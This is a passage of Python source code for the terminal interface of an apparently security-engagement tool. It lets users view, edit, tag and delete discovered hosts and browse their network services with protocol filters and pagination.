    click.echo(f"  Selected: {len(selected_ids)} host(s)")
    click.echo("    [v] View first")
    click.echo(f"    [t] Add Tag ({len(selected_ids)})")
    click.echo(f"    [r] Remove Tag ({len(selected_ids)})")
    if can_delete:
        click.echo(f"    [d] Delete ({len(selected_ids)})")
    click.echo("    [q] Back")

    try:
        action = click.prompt("  Select option", default='q', show_default=False).strip().lower()

        if action == 'v' and selected_ids:
            first_id = next(iter(selected_ids))
            _view_host_by_id(first_id, engagement_id, hm)
        elif action == 't':
            _hosts_bulk_add_tag(selected_ids, hm)
        elif action == 'r':
            _hosts_bulk_remove_tag_menu(selected_ids, engagement_id, hm)
        elif action == 'd' and can_delete:
            _hosts_delete_selected(engagement_id, hm, selected_ids)
            selected_ids.clear()
        elif action == 'd' and not can_delete:
            click.echo(click.style("  ✗ Permission denied: Cannot delete hosts", fg='red'))
            click.pause()
    except (KeyboardInterrupt, click.Abort):
        pass


def _edit_host_details(host_id: int, engagement_id: int, hm: 'HostManager'):
    """Edit host details submenu."""
    while True:
        host = hm.get_host(host_id)
        if not host:
            click.echo(click.style(f"  Host #{host_id} not found.", fg='red'))
            time.sleep(1)
            return
        
        DesignSystem.clear_screen()
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(f" EDIT HOST DETAILS - ID #{host_id} ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()
        
        click.echo(f"  {click.style('IP Address:', bold=True):<20} {host.get('ip_address', 'N/A')}")
        click.echo(f"  {click.style('Hostname:', bold=True):<20} {host.get('hostname') or 'N/A'}")
        click.echo(f"  {click.style('Operating System:', bold=True):<20} {host.get('os_name') or 'N/A'}")
        click.echo(f"  {click.style('Tags:', bold=True):<20} {host.get('tags') or 'None'}")
        click.echo()
        
        click.echo("  " + "─" * (width - 4))
        click.echo("  [h] Edit Hostname")
        click.echo("  [t] Manage Tags")
        click.echo("  [o] Edit OS")
        click.echo("  [q] Back")
        click.echo()
        
        try:
            choice = click.prompt("Select option", type=str, default='q', show_default=False).strip().lower()
            
            if choice == 'q':
                break
            elif choice == 'h':
                new_hostname = click.prompt("  Enter new hostname", type=str, default=host.get('hostname') or '').strip()
                if new_hostname:
                    if hm.update_hostname(host_id, new_hostname):
                        click.echo(click.style(f"  ✓ Hostname updated to '{new_hostname}'", fg='green'))
                    else:
                        click.echo(click.style("  ✗ Failed to update hostname", fg='red'))
                    time.sleep(1)
            elif choice == 't':
                _manage_host_tags(host_id, hm)
            elif choice == 'o':
                new_os = click.prompt("  Enter new OS", type=str, default=host.get('os_name') or '').strip()
                if new_os:
                    if hm.update_os(host_id, new_os):
                        click.echo(click.style(f"  ✓ OS updated to '{new_os}'", fg='green'))
                    else:
                        click.echo(click.style("  ✗ Failed to update OS", fg='red'))
                    time.sleep(1)
        except (KeyboardInterrupt, click.Abort):
            break


def _manage_host_tags(host_id: int, hm: 'HostManager'):
    """Manage tags for a single host."""
    while True:
        host = hm.get_host(host_id)
        if not host:
            return
        
        DesignSystem.clear_screen()
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(f" MANAGE TAGS - Host #{host_id} ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()
        
        tags_str = host.get('tags', '') or ''
        tags_list = [t.strip() for t in tags_str.split(',') if t.strip()] if tags_str else []
        
        if tags_list:
            click.echo("  Current tags:")
            for idx, tag in enumerate(tags_list, 1):
                click.echo(f"    [{idx}] {tag}")
            click.echo()
        else:
            click.echo("  No tags assigned")
            click.echo()
        
        click.echo("  " + "─" * (width - 4))
        click.echo("  [#] Remove tag by number")
        click.echo("  [a] Add new tag")
        click.echo("  [q] Back")
        click.echo()
        
        try:
            choice = click.prompt("Select option", type=str, default='q', show_default=False).strip().lower()
            
            if choice == 'q':
                break
            elif choice == 'a':
                new_tag = click.prompt("  Enter tag to add", type=str).strip()
                if new_tag:
                    if hm.add_tag(host_id, new_tag):
                        click.echo(click.style(f"  ✓ Added tag '{new_tag}'", fg='green'))
                    else:
                        click.echo(click.style("  ✗ Failed to add tag", fg='red'))
                    time.sleep(1)
            elif choice.isdigit():
                tag_idx = int(choice) - 1
                if 0 <= tag_idx < len(tags_list):
                    tag_to_remove = tags_list[tag_idx]
                    if hm.remove_tag(host_id, tag_to_remove):
                        click.echo(click.style(f"  ✓ Removed tag '{tag_to_remove}'", fg='green'))
                    else:
                        click.echo(click.style("  ✗ Failed to remove tag", fg='red'))
                    time.sleep(1)
        except (KeyboardInterrupt, click.Abort):
            break


def _view_host_by_id(host_id: int, engagement_id: int, hm):
    """View host details by ID without prompting."""
    host = hm.get_host(host_id)
    if not host:
        click.echo(click.style(f"  Host #{host_id} not found.", fg='red'))
        time.sleep(1)
        return

    # Get all services once
    all_services = hm.get_host_services(host_id)
    protocol_filter = None  # None = all, 'tcp' = TCP only, 'udp' = UDP only

    while True:
        # Display host details with table view
        DesignSystem.clear_screen()

        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(f" HOST DETAILS - ID #{host_id} ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Host information in two columns for compact display
        click.echo(f"  {click.style('IP Address:', bold=True):<20} {host.get('ip_address', 'N/A'):<30} " +
                   f"{click.style('Hostname:', bold=True):<20} {host.get('hostname') or 'N/A'}")
        click.echo(f"  {click.style('Operating System:', bold=True):<20} {host.get('os_name') or 'N/A':<30} " +
                   f"{click.style('MAC Address:', bold=True):<20} {host.get('mac_address') or 'N/A'}")

        status = host.get('status', 'unknown')
        status_color = 'green' if status == 'up' else 'red' if status == 'down' else 'yellow'
        click.echo(f"  {click.style('Status:', bold=True):<20} {click.style(status, fg=status_color):<30} " +
                   f"{click.style('Tags:', bold=True):<20} {host.get('tags') or 'None'}")

        # Apply protocol filter
        if protocol_filter:
            services = [s for s in all_services if s.get('protocol', 'tcp').lower() == protocol_filter]
        else:
            services = all_services

        # Count by protocol
        tcp_count = len([s for s in all_services if s.get('protocol', 'tcp').lower() == 'tcp'])
        udp_count = len([s for s in all_services if s.get('protocol', 'tcp').lower() == 'udp'])

        click.echo()
        filter_label = f" (filtered: {protocol_filter.upper()})" if protocol_filter else ""
        click.echo(f"  {click.style('Services:', bold=True)} {len(services)} shown{filter_label}  " +
                   click.style(f"[TCP: {tcp_count} | UDP: {udp_count}]", fg='bright_black'))

        if services:
            from rich.console import Console
            from rich.table import Table

            console = Console(width=width - 4)
            table = Table(
                show_header=True,
                header_style="bold cyan",
                box=DesignSystem.TABLE_BOX,
                padding=(0, 1),
                expand=True
            )

            table.add_column("Port", width=10)
            table.add_column("Protocol", width=12)
            table.add_column("Service", width=20)
            table.add_column("Version", no_wrap=False)

            for svc in services:
                port = str(svc.get('port', '?'))
                protocol = svc.get('protocol', 'tcp')
                service = svc.get('service_name') or 'unknown'
                version = svc.get('service_version') or '-'

                table.add_row(port, protocol, service, version)

            click.echo()
            console.print(table)
        else:
            click.echo("  No services discovered" if not all_services else "  No services match filter")

        # Menu options
        click.echo()
        click.echo("  " + "─" * (width - 4))
        filter_status = f"[{protocol_filter.upper()}]" if protocol_filter else "[All]"
        click.echo(f"  [t] TCP only  [u] UDP only  [a] All  {click.style(filter_status, fg='cyan', bold=True)}")
        click.echo("  [e] Edit Details")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", type=str, default='q', show_default=False).strip().lower()

            if choice == 'q':
                break
            elif choice == 't':
                protocol_filter = 'tcp'
            elif choice == 'u':
                protocol_filter = 'udp'
            elif choice == 'a':
                protocol_filter = None
            elif choice == 'e':
                _edit_host_details(host_id, engagement_id, hm)
                # Refresh host data after editing
                host = hm.get_host(host_id)
                if not host:
                    break
        except (KeyboardInterrupt, click.Abort):
            break


def _hosts_bulk_tag(selected_hosts: set, hm: 'HostManager'):
    """Add tag to selected hosts."""
    try:
        tag = click.prompt("Tag to add", type=str)
        if not tag:
            return

        success_count = 0
        for hid in selected_hosts:
            if hm.add_tag(hid, tag):
                success_count += 1

        click.echo(click.style(f"✓ Tagged {success_count} host(s) with '{tag}'", fg='green'))
        click.pause()
    except (KeyboardInterrupt, click.Abort):
        pass


def _hosts_bulk_remove_tag(selected_hosts: set, hm: 'HostManager', engagement_id: int):
    """Remove tag from selected hosts."""
    tags = hm.get_all_tags(engagement_id)

    if not tags:
        click.echo(click.style("No tags available", fg='yellow'))
        click.pause()
        return

    click.echo("\nSelect tag to remove:")
    for idx, tag in enumerate(tags, 1):
        click.echo(f"  [{idx}] {tag}")
    click.echo("  [q] Cancel")

    try:
        choice_input = click.prompt("Tag", type=str, default='q').strip()
        if choice_input == 'q':
            return
        try:
            choice = int(choice_input)
        except ValueError:
            return
        if choice > 0 and choice <= len(tags):
            tag = tags[choice - 1]

            success_count = 0
            for hid in selected_hosts:
                if hm.remove_tag(hid, tag):
                    success_count += 1

            click.echo(click.style(f"✓ Removed tag '{tag}' from {success_count} host(s)", fg='green'))
            click.pause()
    except (KeyboardInterrupt, click.Abort, ValueError):
        pass




def _view_host_details(engagement_id: int, hm: 'HostManager'):
    """View detailed information about a specific host by ID."""
    try:
        host_id = click.prompt("\n  Enter host ID to view details", type=int)
        host = hm.get_host(host_id)

        if not host:
            click.echo(click.style("  ✗ Host not found", fg='red'))
            click.pause()
            return

        # Protocol filter: 'all', 'tcp', 'udp'
        protocol_filter = 'all'

        while True:
            DesignSystem.clear_screen()

            # Full-width header
            width = get_terminal_width()
            click.echo("\n┌" + "─" * (width - 2) + "┐")
            click.echo("│" + click.style(f" HOST DETAILS - {host.get('ip_address', 'N/A')} ".center(width - 2), bold=True, fg='cyan') + "│")
            click.echo("└" + "─" * (width - 2) + "┘")
            click.echo()

            # Host information in two columns for compact display
            click.echo(f"  {click.style('IP Address:', bold=True):<20} {host.get('ip_address', 'N/A'):<30} " +
                       f"{click.style('Hostname:', bold=True):<20} {host.get('hostname') or 'N/A'}")
            click.echo(f"  {click.style('Operating System:', bold=True):<20} {host.get('os_name') or 'N/A':<30} " +
                       f"{click.style('MAC Address:', bold=True):<20} {host.get('mac_address') or 'N/A'}")

            status = host.get('status', 'unknown')
            status_color = 'green' if status == 'up' else 'red' if status == 'down' else 'yellow'
            click.echo(f"  {click.style('Status:', bold=True):<20} {click.style(status, fg=status_color):<30} " +
                       f"{click.style('Tags:', bold=True):<20} {host.get('tags') or 'None'}")

            # Show services with Rich table
            all_services = hm.get_host_services(host_id)

            # Apply protocol filter
            if protocol_filter == 'tcp':
                services = [s for s in all_services if s.get('protocol', 'tcp').lower() == 'tcp']
            elif protocol_filter == 'udp':
                services = [s for s in all_services if s.get('protocol', '').lower() == 'udp']
            else:
                services = all_services

            # Count by protocol for display
            tcp_count = len([s for s in all_services if s.get('protocol', 'tcp').lower() == 'tcp'])
            udp_count = len([s for s in all_services if s.get('protocol', '').lower() == 'udp'])

            click.echo()
            # Show filter status and counts
            filter_display = {
                'all': f"ALL ({len(all_services)})",
                'tcp': f"TCP ({tcp_count})",
                'udp': f"UDP ({udp_count})"
            }
            click.echo(f"  {click.style('Services:', bold=True)} {len(services)}  " +
                       click.style(f"[Filter: {filter_display[protocol_filter]}]", fg='cyan'))

            if services:
                from rich.console import Console
                from rich.table import Table

                console = Console(width=width - 4)
                table = Table(
                    show_header=True,
                    header_style="bold cyan",
                    box=DesignSystem.TABLE_BOX,
                    padding=(0, 1),
                    expand=True
                )

                table.add_column("Port", width=10)
                table.add_column("Protocol", width=12)
                table.add_column("Service", width=20)
                table.add_column("Version", no_wrap=False)

                for svc in services:
                    port = str(svc.get('port', '?'))
                    protocol = svc.get('protocol', 'tcp')
                    service = svc.get('service_name') or 'unknown'
                    version = svc.get('service_version') or '-'

                    # Clean up nmap metadata from version string
                    if version and version != '-':
                        # Remove "syn-ack ttl XX" prefix
                        for prefix in ['syn-ack ttl', 'ttl', 'syn-ack']:
                            if version.startswith(prefix):
                                parts = version.split()
                                cleaned_parts = []
                                skip_next = False
                                for i, part in enumerate(parts):
                                    if skip_next:
                                        skip_next = False
                                        continue
                                    if part in ['syn-ack', 'ttl']:
                                        if part == 'ttl':
                                            skip_next = True  # Skip the ttl value too
                                        continue
                                    # Found actual service info
                                    cleaned_parts = parts[i:]
                                    break
                                version = ' '.join(cleaned_parts) if cleaned_parts else version
                                break

                    table.add_row(port, protocol, service, version)

                console.print(table)

            click.echo()
            click.echo(click.style("  " + "═" * (width - 4), fg='bright_black'))
            click.echo()

            # Filter options with current selection highlighted
            tcp_style = ('green', True) if protocol_filter == 'tcp' else ('cyan', False)
            udp_style = ('green', True) if protocol_filter == 'udp' else ('cyan', False)
            all_style = ('green', True) if protocol_filter == 'all' else ('cyan', False)

            click.echo("    " + click.style("[t]", fg=tcp_style[0], bold=tcp_style[1]) + f" TCP ({tcp_count})")
            click.echo("    " + click.style("[u]", fg=udp_style[0], bold=udp_style[1]) + f" UDP ({udp_count})")
            click.echo("    " + click.style("[b]", fg=all_style[0], bold=all_style[1]) + f" Both ({len(all_services)})")
            click.echo()
            click.echo("    " + click.style("[q]", fg='red', bold=True) + " ← Back")
            click.echo()

            choice = click.prompt("  Choice", default="0").strip().lower()

            if choice == 'q' or choice == '':
                break
            elif choice == 't':
                protocol_filter = 'tcp'
            elif choice == 'u':
                protocol_filter = 'udp'
            elif choice == 'b':
                protocol_filter = 'all'

    except (KeyboardInterrupt, click.Abort, ValueError):
        pass


def _hosts_tag_selected(engagement_id: int, hm: 'HostManager', selected_hosts: set):
    """Add tags to selected hosts."""
    try:
        tag = click.prompt("\n  Enter tag to add", type=str).strip()
        if not tag:
            return
        
        for host_id in selected_hosts:
            host = hm.get_host(host_id)
            if host:
                existing_tags = host.get('tags', '')
                tags_list = [t.strip() for t in existing_tags.split(',') if t.strip()] if existing_tags else []
                if tag not in tags_list:
                    tags_list.append(tag)
                    hm.set_tags(host_id, ','.join(tags_list))
        
        click.echo(click.style(f"  ✓ Tagged {len(selected_hosts)} host(s) with '{tag}'", fg='green'))
        click.pause()
    except (KeyboardInterrupt, click.Abort):
        pass


def _hosts_bulk_add_tag(selected_hosts: set, hm: 'HostManager'):
    """Add a tag to multiple selected hosts."""
    try:
        tag = click.prompt("\n  Enter tag to add", type=str).strip()
        if not tag:
            return
        
        success_count = 0
        for host_id in selected_hosts:
            if hm.add_tag(host_id, tag):
                success_count += 1
        
        click.echo(click.style(f"  ✓ Added tag '{tag}' to {success_count} host(s)", fg='green'))
        click.pause()
    except (KeyboardInterrupt, click.Abort):
        pass


def _hosts_bulk_remove_tag_menu(selected_hosts: set, engagement_id: int, hm: 'HostManager'):
    """Remove a tag from multiple selected hosts."""
    try:
        # Collect all unique tags from selected hosts
        all_tags = set()
        for host_id in selected_hosts:
            host = hm.get_host(host_id)
            if host:
                tags_str = host.get('tags', '') or ''
                if tags_str:
                    tags_list = [t.strip() for t in tags_str.split(',') if t.strip()]
                    all_tags.update(tags_list)
        
        if not all_tags:
            click.echo(click.style("\n  No tags found on selected hosts", fg='yellow'))
            click.pause()
            return
        
        # Display tags
        click.echo("\n  Tags on selected hosts:")
        tags_list = sorted(list(all_tags))
        for idx, tag in enumerate(tags_list, 1):
            click.echo(f"    [{idx}] {tag}")
        
        choice = click.prompt("\n  Enter tag number to remove", type=int)
        if 1 <= choice <= len(tags_list):
            tag_to_remove = tags_list[choice - 1]
            
            success_count = 0
            for host_id in selected_hosts:
                if hm.remove_tag(host_id, tag_to_remove):
                    success_count += 1
            
            click.echo(click.style(f"  ✓ Removed tag '{tag_to_remove}' from {success_count} host(s)", fg='green'))
        else:
            click.echo(click.style("  Invalid selection", fg='red'))
        
        click.pause()
    except (KeyboardInterrupt, click.Abort, ValueError):
        pass


def _hosts_delete_selected(engagement_id: int, hm: 'HostManager', selected_hosts: set):
    """Delete selected hosts."""
    if not click.confirm(f"\n  ⚠️  Delete {len(selected_hosts)} host(s)? This cannot be undone!", default=False):
        return
    
    deleted = 0
    for host_id in list(selected_hosts):
        try:
            hm.delete_host(host_id)
            deleted += 1
        except Exception as e:
            click.echo(click.style(f"  ✗ Failed to delete host {host_id}: {e}", fg='red'))
    
    click.echo(click.style(f"  ✓ Deleted {deleted} host(s)", fg='green'))
    click.pause()


def _hosts_view_details(hosts: list, hm: 'HostManager'):
    """View detailed information about a specific host."""
    try:
        host_id = click.prompt("Enter host ID to view details", type=int)

        host = next((h for h in hosts if h.get('id') == host_id), None)
        if not host:
            click.echo(click.style("Host not found", fg='red'))
            click.pause()
            return

        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 70)
        click.echo(f"HOST DETAILS - {host.get('ip_address', 'N/A')}")
        click.echo("=" * 70 + "\n")

        click.echo(f"ID:           {host.get('id')}")
        click.echo(f"IP Address:   {host.get('ip_address', 'N/A')}")
        click.echo(f"Hostname:     {host.get('hostname') or 'N/A'}")
        click.echo(f"OS:           {host.get('os_name') or 'N/A'}")
        click.echo(f"MAC Address:  {host.get('mac_address') or 'N/A'}")
        click.echo(f"Status:       {host.get('status', 'unknown')}")
        click.echo(f"Tags:         {host.get('tags') or 'None'}")

        # Show services
        services = hm.get_host_services(host_id)
        click.echo(f"\nServices: {len(services)}")
        if services:
            click.echo(f"\n{'Port':<7} {'Protocol':<10} {'Service':<15}")
            click.echo("-" * 40)
            for svc in services[:10]:  # Show first 10
                port = svc.get('port', '?')
                protocol = svc.get('protocol', 'tcp')
                service = (svc.get('service_name') or 'unknown')[:15]
                click.echo(f"{port:<7} {protocol:<10} {service:<15}")

            if len(services) > 10:
                click.echo(f"... and {len(services) - 10} more")

        click.echo()
        click.pause("Press any key to return...")
    except (KeyboardInterrupt, click.Abort, ValueError):
        pass


def _add_new_host(engagement_id: int, hm: 'HostManager'):
    """Add a new host manually."""
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 80)
    click.echo("ADD NEW HOST")
    click.echo("=" * 80 + "\n")

    try:
        # IP Address (required)
        ip_address = click.prompt("IP Address", type=str)
        if not ip_address.strip():
            click.echo(click.style("\n✗ IP Address is required!", fg='red'))
            click.pause()
            return

        # Hostname (optional)
        hostname = click.prompt("Hostname (press Enter to skip)", type=str, default="")

        # OS Name (optional)
        os_name = click.prompt("OS Name (press Enter to skip)", type=str, default="")

        # MAC Address (optional)
        mac_address = click.prompt("MAC Address (press Enter to skip)", type=str, default="")

        # Status
        click.echo("\nStatus:")
        click.echo("  [1] Up")
        click.echo("  [2] Down")
        click.echo("  [3] Unknown")
        status_choice = click.prompt("Select status", type=int, default=1)
        status_map = {1: 'up', 2: 'down', 3: 'unknown'}
        status = status_map.get(status_choice, 'up')

        # Tags (optional)
        tags = click.prompt("Tags (comma-separated, press Enter to skip)", type=str, default="")

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("SUMMARY:", bold=True))
        click.echo(f"IP Address: {ip_address}")
        click.echo(f"Hostname: {hostname or 'N/A'}")
        click.echo(f"OS: {os_name or 'N/A'}")
        click.echo(f"MAC Address: {mac_address or 'N/A'}")
        click.echo(f"Status: {status}")
        click.echo(f"Tags: {tags or 'None'}")
        click.echo("-" * 80)

        if not click.confirm("\nAdd this host?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Add to database
        host_data = {
            'ip': ip_address,
            'hostname': hostname or None,
            'os': os_name or None,
            'mac': mac_address or None,
            'status': status,
            'tags': tags or None
        }

        host_id = hm.add_or_update_host(engagement_id, host_data)
        click.echo(click.style(f"\n✓ Host added successfully! (ID: {host_id})", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        click.echo(click.style("\nCancelled.", fg='yellow'))
        click.pause()


def _edit_host(engagement_id: int, hm: 'HostManager'):
    """Edit an existing host."""
    try:
        host_id = click.prompt("\nEnter Host ID to edit", type=int)
        host = hm.get_host(host_id)

        if not host or host.get('engagement_id') != engagement_id:
            click.echo(click.style("\n✗ Host not found or not in current engagement!", fg='red'))
            click.pause()
            return

        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 80)
        click.echo(f"EDIT HOST #{host_id}")
        click.echo("=" * 80 + "\n")
        click.echo("Press Enter to keep current value\n")

        # Hostname
        current_hostname = host.get('hostname', '')
        hostname = click.prompt(f"Hostname [{current_hostname}]", type=str, default=current_hostname or "")

        # OS Name
        current_os = host.get('os_name', '')
        os_name = click.prompt(f"OS Name [{current_os}]", type=str, default=current_os or "")

        # MAC Address
        current_mac = host.get('mac_address', '')
        mac_address = click.prompt(f"MAC Address [{current_mac}]", type=str, default=current_mac or "")

        # Status
        current_status = host.get('status', 'up')
        click.echo(f"\nCurrent Status: {current_status}")
        click.echo("  [1] Up")
        click.echo("  [2] Down")
        click.echo("  [3] Unknown")
        click.echo("  [q] Keep current")
        status_input = click.prompt("Select status", type=str, default='q').strip()
        if status_input == 'q':
            status = current_status
        else:
            try:
                status_choice = int(status_input)
                status_map = {1: 'up', 2: 'down', 3: 'unknown'}
                status = status_map.get(status_choice, current_status)
            except ValueError:
                status = current_status

        # Tags
        current_tags = host.get('tags', '')
        tags = click.prompt(f"Tags [{current_tags}]", type=str, default=current_tags or "")

        # Build update dict
        updates = {}
        if hostname != host.get('hostname'):
            updates['hostname'] = hostname or None
        if os_name != host.get('os_name'):
            updates['os_name'] = os_name or None
        if mac_address != host.get('mac_address'):
            updates['mac_address'] = mac_address or None
        if status != host.get('status'):
            updates['status'] = status
        if tags != host.get('tags'):
            updates['tags'] = tags or None

        if not updates:
            click.echo(click.style("\nNo changes made.", fg='yellow'))
            click.pause()
            return

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("CHANGES:", bold=True))
        for key, value in updates.items():
            click.echo(f"  {key}: {value}")
        click.echo("-" * 80)

        if not click.confirm("\nSave changes?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Update database
        hm.update_host(host_id, **updates)
        click.echo(click.style("\n✓ Host updated successfully!", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid Host ID!", fg='red'))
        click.pause()


def _delete_hosts(selected_host_ids: set, hm: 'HostManager'):
    """Delete selected hosts."""
    if not selected_host_ids:
        return

    try:
        # Show hosts to be deleted
        click.echo("\n" + "-" * 80)
        click.echo(click.style(f"HOSTS TO DELETE ({len(selected_host_ids)}):", bold=True))
        for host_id in list(selected_host_ids)[:10]:
            host = hm.get_host(host_id)
            if host:
                click.echo(f"  ID {host_id}: {host.get('ip_address')} - {host.get('hostname', 'N/A')}")

        if len(selected_host_ids) > 10:
            click.echo(f"  ... and {len(selected_host_ids) - 10} more")

        click.echo("-" * 80)

        if not click.confirm(click.style(f"\nAre you sure you want to delete {len(selected_host_ids)} host(s)?", fg='red'), default=False):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Delete from database
        deleted_count = 0
        for host_id in selected_host_ids:
            if hm.delete_host(host_id):
                deleted_count += 1

        click.echo(click.style(f"\n✓ Deleted {deleted_count} host(s) successfully!", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        return


def view_services(engagement_id: int):
    """Display all services with consistent UI pattern."""
    from souleyez.ui.interactive_selector import interactive_select
    from rich.console import Console
    from rich.table import Table

    hm = HostManager()
    console = Console()

    # Active filters
    filters = {
        'protocol': None,
        'service_name': None,
        'host_id': None
    }

    # Pagination
    PAGE_SIZE = 20
    current_page = 1
    view_all = False

    # Persistent selection across pages
    selected_ids: set = set()

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()

        click.echo()
        click.echo("┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" SERVICES ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Get all services
        all_services = hm.get_all_services(engagement_id, sort_by='port')

        # Count protocols
        tcp_count = len([s for s in all_services if (s.get('protocol') or 'tcp').lower() == 'tcp'])
        udp_count = len([s for s in all_services if (s.get('protocol') or '').lower() == 'udp'])

        # Apply filters
        services = all_services
        if filters['protocol']:
            services = [s for s in services if (s.get('protocol') or 'tcp').lower() == filters['protocol'].lower()]
        if filters['service_name']:
            services = [s for s in services if filters['service_name'].lower() in (s.get('service_name') or '').lower()]
        if filters['host_id']:
            services = [s for s in services if s.get('host_id') == filters['host_id']]

        total_services = len(services)
        total_pages = max(1, (total_services + PAGE_SIZE - 1) // PAGE_SIZE)
        current_page = min(current_page, total_pages)

        # Show summary line
        summary_parts = [f"Total: {len(all_services)}"]
        summary_parts.append(f"TCP: {tcp_count}")
        summary_parts.append(f"UDP: {udp_count}")
        if selected_ids:
            summary_parts.append(f"Selected: {len(selected_ids)}")

        # Show active filters
        active_filters = []
        if filters['protocol']:
            active_filters.append(f"protocol: {filters['protocol']}")
        if filters['service_name']:
            active_filters.append(f"service: {filters['service_name']}")
        if filters['host_id']:
            active_filters.append(f"host_id: {filters['host_id']}")
        if active_filters:
            summary_parts.append(f"Filters: {', '.join(active_filters)}")

        click.echo("  " + "  |  ".join(summary_parts))
        click.echo()

        if not services:
            click.echo("  " + click.style("No services found with current filters.", fg='yellow'))
        else:
            # Calculate page slice (or show all)
            if view_all:
                page_services = services
            else:
                start_idx = (current_page - 1) * PAGE_SIZE
                end_idx = start_idx + PAGE_SIZE
                page_services = services[start_idx:end_idx]

            # Build static table
            table = Table(show_header=True, header_style="bold", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)
            table.add_column("○", width=3, justify="center")
            table.add_column("#", justify="right", width=5)
            table.add_column("Port", width=8, justify="right")
            table.add_column("Proto", width=6)
            table.add_column("Service", width=15)
            table.add_column("Host", width=16)
            table.add_column("Version")

            for idx, svc in enumerate(page_services, 1):
                svc_id = svc.get('id', idx)
                selected = "●" if svc_id in selected_ids else "○"
                port = str(svc.get('port', '?'))
                protocol = (svc.get('protocol') or 'tcp').upper()
                service_name = svc.get('service_name') or 'unknown'
                host_ip = svc.get('ip_address') or 'N/A'

                # Clean version string
                raw_version = svc.get('service_version') or ''
                if raw_version and raw_version != '-':
                    version = raw_version
                    for prefix in ['syn-ack ttl', 'ttl', 'syn-ack', 'reset ttl', 'tcp-response ttl']:
                        if version.lower().startswith(prefix):
                            parts = version.split()
                            for i, part in enumerate(parts):
                                if part.lower() not in ['syn-ack', 'ttl', 'reset', 'tcp-response'] and not part.isdigit():
                                    version = ' '.join(parts[i:])
                                    break
                            break
                    version = version[:40] if version else '-'
                else:
                    version = '-'

                # Color protocol
                proto_color = 'cyan' if protocol == 'TCP' else 'yellow'
                proto_styled = f"[{proto_color}]{protocol}[/{proto_color}]"

                table.add_row(
                    selected,
                    str(idx),
                    port,
                    proto_styled,
                    service_name,
                    host_ip,
                    version
                )

            console.print(table)
            click.echo()
            if view_all:
                click.echo(f"  Showing all {total_services} items")
            else:
                click.echo(f"  Page {current_page}/{total_pages}")

        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode, 'h' for host-grouped view")
        if total_pages > 1 and not view_all:
            click.echo("  n/p: Next/Previous page")
        click.echo()
        click.echo("─" * width)
        click.echo()
        click.echo("  [#] View service details")
        if view_all:
            click.echo("  [a] All - Show paginated view")
        else:
            click.echo("  [a] All - Toggle pagination")
        click.echo("  [t] TCP - Filter TCP only")
        click.echo("  [u] UDP - Filter UDP only")
        click.echo("  [f] Filter - Filter by service name")
        click.echo("  [c] Clear - Clear all filters")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", default="q", show_default=False).strip()

            if choice == 'q':
                return
            elif choice == 'n' and not view_all and current_page < total_pages:
                current_page += 1
            elif choice == 'p' and not view_all and current_page > 1:
                current_page -= 1
            elif choice == 'a':
                view_all = not view_all
                current_page = 1
            elif choice.isdigit():
                # Direct number entry - view service by row number
                svc_num = int(choice)
                idx = svc_num - 1
                if view_all:
                    page_services = services
                else:
                    start_idx = (current_page - 1) * PAGE_SIZE
                    end_idx = start_idx + PAGE_SIZE
                    page_services = services[start_idx:end_idx]
                if 0 <= idx < len(page_services):
                    _view_service_detail(page_services[idx], hm)
                else:
                    click.echo(click.style("  Invalid service number", fg='red'))
                    time.sleep(0.5)
            elif choice == 'h':
                view_services_by_host(engagement_id)
            elif choice == 't':
                filters['protocol'] = 'tcp' if filters['protocol'] != 'tcp' else None
                current_page = 1
            elif choice == 'u':
                filters['protocol'] = 'udp' if filters['protocol'] != 'udp' else None
                current_page = 1
            elif choice == 'f':
                filters['service_name'] = _services_filter_name()
                current_page = 1
            elif choice == 'c':
                filters = {'protocol': None, 'service_name': None, 'host_id': None}
                current_page = 1
            elif choice == 'i':
                # Interactive selection mode
                columns = [
                    {'name': 'Port', 'width': 8, 'key': 'port'},
                    {'name': 'Proto', 'width': 6, 'key': 'protocol'},
                    {'name': 'Service', 'width': 20, 'key': 'service_name'},
                    {'name': 'Host', 'width': 18, 'key': 'ip_address'},
                    {'name': 'Version', 'key': 'service_version'},
                ]
                interactive_select(
                    items=services,
                    columns=columns,
                    selected_ids=selected_ids,
                    get_id=lambda s: s.get('id'),
                    title="SELECT SERVICES"
                )
                if selected_ids:
                    _services_bulk_action_menu(selected_ids, services, hm)

        except (KeyboardInterrupt, click.Abort):
            return


def _services_filter_name():
    """Prompt for service name filter."""
    DesignSystem.clear_screen()
    click.echo("\n  Filter by Service Name")
    click.echo("  " + "─" * 30)
    click.echo()
    name = click.prompt("  Enter service name (or part of it)", default="").strip()
    return name if name else None


def _services_bulk_action_menu(selected_ids: set, services: list, hm):
    """Show bulk action menu for selected services."""
    click.echo()
